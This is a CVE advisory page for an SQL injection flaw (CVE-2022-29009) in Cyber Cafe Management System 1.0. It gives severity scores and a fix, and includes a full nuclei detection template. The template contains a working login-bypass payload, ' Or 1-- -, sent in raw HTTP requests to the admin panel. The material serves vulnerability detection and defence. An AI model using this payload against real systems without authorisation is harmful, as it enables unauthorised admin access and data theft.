HexBrain

Browse / CVEs / CVE-2022-29009

CVE-2022-29009· phpgurukul / cyber cafe management system· CWE-89

Cyber Cafe Management System 1.0 - SQL Injection

criticalseverity
9.8CVSS score
22.9%likelihood of exploitation, next 30 days
98%of all CVEs are less likely
Readycheck to confirm it

Cyber Cafe Management System 1.0 contains multiple SQL injection vulnerabilities via the username and password parameters in the Admin panel. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire system.

Fix

Upgrade to the latest version to mitigate this vulnerability.

How to confirm it

Send: POST /ccms/index.php ; GET /ccms/dashboard.php
Positive when: contains "CCMS Admin Dashboard" and "CCMS ADMIN | Admin" AND status 200

Run it with nuclei: nuclei -id CVE-2022-29009 -u <target>

The full check
id: CVE-2022-29009

info:
  name: Cyber Cafe Management System 1.0 - SQL Injection
  author: TenBird
  severity: critical
  description: |
    Cyber Cafe Management System 1.0 contains multiple SQL injection vulnerabilities via the username and password parameters in the Admin panel. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire system.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/50355
    - https://phpgurukul.com/cyber-cafe-management-system-using-php-mysql/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-29009
    - https://github.com/sudoninja-noob/CVE-2022-29009/blob/main/CVE-2022-29009.txt
    - https://github.com/manas3c/CVE-POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-29009
    cwe-id: CWE-89
    epss-score: 0.22909
    epss-percentile: 0.97757
    cpe: cpe:2.3:a:phpgurukul:cyber_cafe_management_system:1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: phpgurukul
    product: cyber_cafe_management_system
  tags: cve,cve2022,sqli,auth-bypass,edb,phpgurukul,vuln

http:
  - raw:
      - |
        POST /ccms/index.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        username=%27+Or+1--+-&password=1&login=
      - |
        GET /ccms/dashboard.php HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'CCMS Admin Dashboard'
          - 'CCMS ADMIN | Admin'
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from